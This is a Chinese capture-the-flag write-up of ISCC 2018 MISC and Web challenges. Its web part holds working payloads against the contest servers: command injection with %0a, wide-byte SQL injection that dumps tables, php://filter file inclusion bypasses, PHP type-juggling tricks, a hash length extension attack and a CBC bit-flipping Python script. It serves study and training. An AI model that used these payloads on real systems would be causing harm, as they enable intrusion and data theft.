ISCC2018-writeup

MISC

What is that?

winhex打开修改高度

_Welcome_To_ISCC2018

数字密文

69742773206561737921

16进制转文本

给个在线网站

https://www.bejson.com/convert/ox2str/

秘密电报:

知识就是力量 ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA

在线培根密码解密

http://tool.ph0en1x.com/bacon/

ILIKEISCC

重重谍影

base64解密,

在线解密https://base64.supfree.net/

解密到这里不行了

U2FsdGVkX183BPnBd50ynIRM3o8YLmwHaoi8b8QvfVdFHCEwG9iwp4hJHznrl7d4B5rKClEyYVtx6uZFIKtCXo71fR9Mcf6b0EzejhZ4pnhnJOl+zrZVlV0T9NUA+u1ziN+jkpb6ERH86j7t45v4Mpe+j1gCpvaQgoKC0Oaa5kc=

然后再用aes解密

http://www.keyfc.net/bbs/tools/tudoucode.aspx

把我复制走

有趣的ISCC

把图片放进WinHex中观察

末尾有很多Unicode

Unicode转ascii

unicode转中文

flag{iscc is fun}

Where is the FLAG?

TweakPNG打开

Adobe Fireworks CS5 处理

图层隐层

拼接一下

凯撒十三世

凯撒密码,并且偏移是13

得到roqtp697t95j3,一看就不是flag,结合提示键盘,所以可能是键盘密码: 即密文在键盘上的下一行所对应的字符是相应明文,

一只猫的心思

winhex打开会发现这个是jpg文件,有文件头,但是没有文件尾,搜索之后就会得到文件尾FFD9所在的位置,需要把FFD9后面的十六进制转化为一个新的文件,并且要以(.doc)格式保存

http://www.keyfc.net/bbs/tools/tudoucode.aspx

佛曰密码解

523156615245644E536C564856544E565130354B553064524D6C524E546B4A56535655795645644F5530524857544A4553553943566B644A4D6C524E546C7052523155795645744F536C5248515670555330354452456456576B524854554A585231457956554E4F51305A4855544E4553303153566B64424D6C524A546B7058527A525A5245744F576C5A4854544A5554553554513063304E46524C54564A5652316B795255744F51305A4856544E5554564661566B6C464D6B5252546B70595231557A5245394E516C5A4856544A555355354B566B644E5756524E5455705752316B7A5255564F55305248566B465553564A4356306C4E4D6C524E546B4A565231557952453152556C564A56544A455555354B5530644E5756525054554A56523030795645314F516C5A4857544A4553303143566B64464D305648546B744352314A425645744F576C5A4855544A4651303543566B64564D6B524854554A555230557A52454E4F536C644855544A5554553543566B645A4D6B564A546C4E445231566152456C52576C5A4855544A5553303544516B64564D6C524C54564A55523045795245314F556C4A4856544E455355354B56556C564D6B564E546B70535230315A52457452536C564951544A555455354B565564535156524A54564A575230457956456C4E576C46485454525553303143566B6446576C564A54544A46

十六进制转换了,转换为字符串:

base64解密:

base32:

十六进制转化:

base64解密:

base32:

十六进制转化

F1a9_is_I5cc_ZOl8_G3TP01NT

Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途

Base32编码是使用32个可打印字符(字母A-Z和数字2-7)

Base16编码使用16个ASCII可打印字符(数字0-9和字母A-F)对任意字节数据进行编码

暴力XX不可取

伪加密修改的几种方法

1、在Mac OS以及部分linux(Kali)系统中,可以直接打开伪加密的ZIP压缩包。

2、使用检测伪加密的工具ZipCenOp.jar,解密后如果能成功打开ZIP包,则是伪加密,否则说明思路错误。

3、使用16进制编辑器更改加密标志位。

打开压缩包之后发现需要解压密码

既然已经知道是伪加密那就直接尝试伪加密,利用伪加密判断工具ZipCenOp

java -jar ZipCenOp.jar r ISCC-MISC02.zip

vfppjrnerpbzvat

rot13 解码

得到isccwearecoming

Web

比较数字大小

f12查看 本地长度绕过修改maxlength=4

输入99999999提交

得key is 768HKyu678567&*&K

web01

<?php 
highlight_file('2.php'); 
$flag='{***************}'; 
if (isset($_GET['password'])) {   
    if (strcmp($_GET['password'], $flag) == 0)   ////如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。 //比较两个字符串(区分大小写) 
        die('Flag: '.$flag);   
    else   
        print 'Invalid password';   
}   
?>

http://118.190.152.202:8003?password[]=1

ISCC{iscc_ef3w5r5tw_5rg5y6s3t3}

本地的诱惑

查看源码ISCC{^&*(UIHKJjkadshf}

你能跨过去吗?

题目

%2b/v%2b%20%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0-&_

base64解码

flag{Hell0World}

一切都是套路

好像有个文件忘记删了

考察源码泄露

py脚本得到http://118.190.152.202:8009/index.php.txt

所以进入得到如下代码

<?php

include "flag.php";


if ($_SERVER["REQUEST_METHOD"] != "POST")
    die("flag is here");

if (!isset($_POST["flag"]) 
    die($_403);

foreach ($_GET as $k => $v){ 
    $$k = $$v;//$k=200 $$k=$_200    所以$_200 = &flag
}

foreach ($_POST as $k => $v){
    $$k = $v; //$flag =2333
}
if ( $_POST["flag"] !== $flag )
    die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>
foreach

(PHP 4, PHP 5, PHP 7)

foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:

foreach (array_expression as $value)
    statement
foreach (array_expression as $key => $value)
    statement

第一种格式遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。

第二种格式做同样的事,只除了当前单元的键名也会在每次循环中被赋给变量 $key

深入解析php中的foreach问题

题目中使用了两个foreach并且也使用了’&&’,两个foreach中对 $$key的处理是不一样的,满足条件后会将$flag里面的值打印出来,所以$flag是在flag.php文件文件中的。 行间的代码会将$flag的值给覆盖掉了,所以需要先将$flag的值赋给$_200或$_403变量,然后利用die($_200)或 die($_403)将flag打印出来。

有很明显的变量覆盖漏洞。要求我们在post语句中有flag,同时在第二个foreach中又把$flag直接覆盖了,所以直接通过echo语句输出的flag是被修改过的。接着看看有什么输出点,比如有个die($_200),结合第一个foreach的功能,我们可以在第二个foreach之前先将$_200的值覆盖为原flag的值。

payload:

index.php?_200=flag
POST:
flag=1

利用前面的die($_403)也可以实现。我们先把原flag的值覆盖到$_403上,然后构造$_POST["flag"] !== $flag,从而die($_403)输出flag。

payload2:

index.php?_403=flag&_POST=1
POST:
flag=

ISCC{taolu2333333….}

你能绕过吗?

打开地址随便点文章,一开始可能以为是sql注入

但仔细看会发现?f=articles可能是存在文件包含漏洞

但是这里有个坑,题目说

你能绕过吗?

没过滤好啊

因为考察文件包含漏洞所以很有可能过滤php filter协议,尝试大写Php发现绕过成功

http://118.190.152.202:8008/index.php?f=Php://filter/read=convert.base64-encode/resource=index&id=2

得到base64源码。

ISCC{LFIOOOOOOOOOOOOOO}

web02

http://118.190.152.202:8004/

一开始尝试X-Forwarded-For: 127.0.0.1不行

X-Forwarded-For: 127.0.0.1
Contact: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Referer: 127.0.0.1
From: 127.0.0.1
X-Wap-Profile: 127.0.0.1
True-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1

后来尝试Client-IP: 127.0.0.1

ISCC{iscc_059eeb8c0c33eb62}

请ping我的ip 看你能Ping通吗?

万万没想到直接在get方式下命令执行,过滤| 使用%0a绕过

查看当前目录http://118.190.152.202:8018/index.php?ip=118.190.152.202%0als

查看源代码http://118.190.152.202:8018/index.php?ip=118.190.152.202%0acat%20index.php

 '',
        ';' => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );


    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );



    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows

        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 1 ' . $target );
    }


    echo  "
{$cmd}
";


?>

查看根目录http://118.190.152.202:8018/index.php?ip=118.190.152.202%0acd%20../../../%0als

一个一个试查看flag在哪里 发现flag在/home/flag

http://118.190.152.202:8018/index.php?ip=118.190.152.202%0acd%20../../../%0acd%20home%0als

http://118.190.152.202:8018/index.php?ip=118.190.152.202%0acd%20../../../%0acd%20home%0acat%20flag

ISCC{8a8646c7a2fce16b166fbc68ca65f9e4}

Reference:

http://vinc.top/2016/12/22/%E3%80%90%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E3%80%91%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/

方法二:

使用扫描器,扫描一下目录。如下图所示; 第一手详细又全面的ISCC 2018 writeup等你学习 扫描结果:http://118.190.152.202:8018/flag.txt (3) 打开扫描结果,如下图所示; 第一手详细又全面的ISCC 2018 writeup等你学习

php是世界上最好的语言

<?php 
header("content-type:text/html;charset=utf-8"); 
if(isset($_POST['username'])&isset($_POST['password'])){ 
    $username = $_POST['username']; 
    $password = $_POST['password']; 
} 
else{ 
    $username="hello"; 
    $password="hello"; 
} 
if(md5($password) == 0){ 
    echo "xxxxx"; 
} 


show_source(__FILE__); 
?>

md5

password=240610708

跳转

<?php 
include 'flag.php'; 
$a = @$_REQUEST['a']; 
@eval("var_dump($$a);"); 
show_source(__FILE__); 

?>

$$a 这个东西很诡异。其实就是php中变量可以当作另一个变量的变量名

$GLOBALS — 引用全局作用域中可用的全部变量

$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。

PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。

这里介绍一个php中的特殊变量: $GLOBALS,它的作用如下:

 所以我们可以利用$GLOBALS输出flag的值,故payload:

http://118.190.152.202:8005/no_md5.php?a=GLOBALS

ISCC{a39f9a1ff7eb4bab8a6a21b2ce111b4}

Please give me username and password!

在url传参username和password得到界面提示有index.php.txt文件

所以访问http://118.190.152.202:8017/index.php.txt

得到源码

<?php
error_reporting(0);
$flag = "***********";    
if(isset($_GET['username'])){
    if (0 == strcasecmp($flag,$_GET['username'])){
    $a = fla;
    echo "very good!Username is right";
    }
    else{
    print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
    if (is_numeric($_GET['password'])){
        if (strlen($_GET['password']) < 4){
            if ($_GET['password'] > 999){
            $b = g;
            print '<p>very good!Password is right</p>';
        }else 
            print '<p>Password too little</p>';
        }else
        print '<p>Password too long</p>';
    }else
    print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
    print $flag;
?>

分析

if(isset($_GET['username'])){
    if (0 == strcasecmp($flag,$_GET['username'])){
    $a = fla;
    echo "very good!Username is right";

strcasecmp(string1,string2)

参数 str1第一个字符串。str2第二个字符串。

如果 str1 小于 str2 返回 < 0;

如果 str1 大于 str2 返回 > 0;

如果两者相等,返回 0。

可以使用username数组绕过

if (is_numeric($_GET['password'])){
        if (strlen($_GET['password']) < 4){
            if ($_GET['password'] > 999){
            $b = g;

必须通过3位数字,但大于999

?password=4e3

http://118.190.152.202:8017/index.php?username[]=1&password=4e3

flag{ISCC2018_Very_GOOD!}

Reference:

https://hackfun.org/2018/01/09/CTF%E4%B8%AD%E5%B8%B8%E8%A7%81PHP%E7%89%B9%E6%80%A7%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

https://github.com/bl4de/ctf/blob/master/2015/BostonKeyPartyCTF_2015/Symphony.md

SQL注入的艺术

注入点:个人信息栏

发现页面编码是gb2312,可能是宽字节注入,检验一下id=1%df'--+,返回正常页面,确定是宽字节注入

id=1%df' or 1=1  order by 8--+  
id=1%df' or 1=1  order by 9--+
id=-1%df' union select 1,2,3,4,5,6,7,8--+    
id=-1%df' union select 1,database(),3,user(),5,6,group_concat(table_name),8 from information_schema.tables where table_schema = database() --+  

id=-1%df' union select 1,database(),3,user(),5,6,group_concat(column_name),8 from information_schema.columns where table_name = 0x61646d696e73 --+ 

id=-1%df' union select 1,database(),3,user(),5,6,group_concat(flag),8 from admins --+

Flag:Y0u_@@33w_dxxmn_9rf0Od

试试看

http://118.190.152.202:8006/show.php?img=php://filter/read=convert.base64-encode/resource=jpg/resource=show.php

打开题目

查看源码

知道这里调用show.php?img=1.jpg 访问 并修改1的值

大概可以猜测 文件包含漏洞,尝试

img=php://filter/read=convert.base64-encode/resource=show.php

但是不行

题目的坑点在于还需要包含jpg,这就是贪婪包含所在,也就是后台某处代码所致,

curl http://118.190.152.202:8006/show.php?img=php://filter/resource=jpg/resource=show.php

<?php
error_reporting(0);
ini_set('display_errors','Off');

include('config.php');

$img = $_GET['img'];
if(isset($img) && !empty($img))
{
    if(strpos($img,'jpg') !== false)
    {
        if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)
        {
            die('File not found.');
        }

        preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
        if(isset($matches[1]))
        {
            $img = $matches[1];
        }

        header('Content-Type: image/jpeg');
        $data = get_contents($img);
        echo $data;
    }
    else
    {
        die('File not found.');
    }

}
else
{
    ?>
    <img src="1.jpg">
    <?php
}
?>
  1. 开头包含了config.php
  2. img必须有jpg但又不能有resource=.*jpg
  3. 正则检查了并把结果填充到$matches 里去,说明我们可以使用php://filter伪协议,并且resource的值不含|,那么我们就可以用| 来分隔php 和jpg,因为正则匹配到| 就不会继续匹配后面的jpg 了,使得\$img=show.php

知道了config.php再去访问明白为什么必须包含jpg

<?php
function get_contents($img)
{
        if(strpos($img,'jpg') !== false)
        {
                return file_get_contents($img);
        }
        else
        {
                header('Content-Type: text/html');
                return file_get_contents($img);
        }
}
?>

最终payload:

http://118.190.152.202:8006/show.php?img=php://filter/resource=../flag.php|jpg

Collide

<?php
include "secret.php";
@$username=(string)$_POST['username'];
function enc($text){
    global $key;
    return md5($key.$text);
}
if(enc($username) === $_COOKIE['verify']){
    if(is_numeric(strpos($username, "admin"))){
        die($flag);
    }
    else{
        die("you are not admin");
    }
}
else{
    setcookie("verify", enc("guest"), time()+60*60*24*7);
    setcookie("len", strlen($key), time()+60*60*24*7);
}
show_source(__FILE__);
  1. 一个不知道的$key,但是从cookie中可以知道它的长度是46
  2. 从cookie中知道md5(\$key.guest) 的值,也就是知道enc(\$username) 符合条件的值
  3. 获得flag 的条件,满足enc(\$username) == md5(\$key.guest),同时\$username 要含有admin

使用HashPump攻击;

安装HashPump;

方法一: git clone https://github.com/bwall/HashPump.git apt-get install g++ libssl-dev cd HashPump make make install B.方法二: pip install hashpumpy

方法二:

pip install hashpumpy

$ hashpump -s '78cfc57d983b4a17e55828c001a3e781' -d 'guest' -a 'admin' -k 46
5f585093a7fe86971766c3d25c43d0eb
guest\x80\x00\x00\x00\x00\x98\x01\x00\x00\x00\x00\x00\x00admin

POST / HTTP/1.1
Host: 118.190.152.202:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: verify=5f585093a7fe86971766c3d25c43d0eb; len=46
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

username=guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin

ISCC{MD5_1s_n0t_5afe}

http://p0sec.net/index.php/archives/99/

http://quincyblog.top/2018/05/08/%E5%93%88%E5%B8%8C%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB%E7%9A%84%E5%AD%A6%E4%B9%A0/#more

Only admin can see flag

查看源码得提示index.txt,访问得到源码

<?php
include 'sqlwaf.php';
define("SECRET_KEY", "................");
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
    $iv='';
    for($i=0;$i<16;$i++){
        $iv.=chr(rand(1,255));
    }
    return $iv;
}
// 使用aes-128-cbc 模式加密
function login($info){
    $iv=get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));// cookie[iv] = 随机生成的iv 的base64
    setcookie("cipher", base64_encode($cipher));// cookie[cipher] = 加密值的base64
}
function show_homepage(){
    if ($_SESSION["username"]==='admin'){//发现当账号为admin,才会显示flag,
        echo '<p>Hello admin</p>';
        echo '<p>Flag is *************</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
    die();
}
// 解密cipher
function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);//cipher和iv变量均中cookie数组中取
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}

if (isset($_POST['username'])&&isset($_POST['password'])) {
  $username=waf((string)$_POST['username']);
  $password=waf((string)$_POST['password']);
  if($username === 'admin'){
        exit('<p>You are not real admin!</p>');//当我们以admin账号登录时,程序会直接跳出
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }//否则正常登录,并将用户信息存在info数组中传入login函数,并调用show_homepage函数。
}
else{
  if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }
}
?>
<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>Paper login form</title>
      <link rel="stylesheet" href="css/style.css">
</head>
<body>
  <div id="login">
  <form action="" method="post">
    <h1>Sign In</h1>
    <input name='username' type="text" placeholder="Username">
    <input name='password' type="password" placeholder="Password">
    <button>Sign in</button>
</div>
</body>
</html>

思路就是构造一个Admin用户,然后将大写的A翻转成小写的a,即是admin。我们点击登录之后,可以在cookie中获取到iv和cipher的值(看14行的login函数),然后我们先将cipher的第9个字符使用异或运算翻转成小写字母a,因为info数组序列化后,我们要翻转的大写字母A在下标为9的位置,每个分组的长度为16,因为返回的iv变量长度为16(要先经过base64解密)

  1. s:2:{s:8:”userna
  2. me”;s:5:”Admin”;
  3. s:8:”password”;s
  4. :5:”admin”;}

要第二组的b变为d 就要第一组的u改变

python脚本:

import urllib,base64,requests,re

url = "http://118.190.152.202:8001/index.php"
datas = {
    "username" : "Admin",
    "password" : "admin"
}

r = requests.post(url,data=datas)
cipher = r.cookies.get("cipher")
cipher = base64.b64decode(urllib.unquote(cipher))
offset = 9
new_cipher = cipher[:offset] + chr(ord(cipher[offset])^ord("A")^ord("a")) + cipher[offset+1:]
new_cookies = requests.utils.dict_from_cookiejar(r.cookies)
new_cookies["cipher"] = urllib.quote_plus(base64.b64encode(new_cipher))

r2 = requests.get(url,cookies=new_cookies)
plain = base64.b64decode(re.findall("decode\('(.*)'\)",r2.text)[0])
iv = base64.b64decode(urllib.unquote(new_cookies["iv"]))
old = plain[:len(iv)]
new = 'a:2:{s:8:"userna'
new_iv = "".join([chr(ord(iv[i])^ord(old[i])^ord(new[i])) for i in xrange(16)])
new_cookies["iv"] = urllib.quote_plus(base64.b64encode(new_iv))

r3 = requests.get(url,cookies=new_cookies)
print(r3.text)

看其他师傅的其他解题:

https://mp.weixin.qq.com/s?srcid=0525HLtDRNGV7DM8TsC469W2&scene=23&mid=2247484248&sn=05c6b69fc6bd49b0ff8d1b9b8842d0fb&idx=1&__biz=MzUxOTYzMzU0NQ%3D%3D&chksm=f9f7ecbece8065a88c1bf77efbc67106aacfc93942e72198a26efca026788ddfc75be75030d2&mpshare=1#rd

https://www.anquanke.com/post/id/146063

https://blog.zilch40.wang/2018/05/25/iscc-2018-writeup/#Collide-250


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:ISCC2018-writeup

文章字数:3,808

本文作者:Mang0

发布时间:2018-05-28, 00:54:05

最后更新:2018-11-02, 21:52:12

原始链接:http://mang0.me/archis/4e1d9865/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏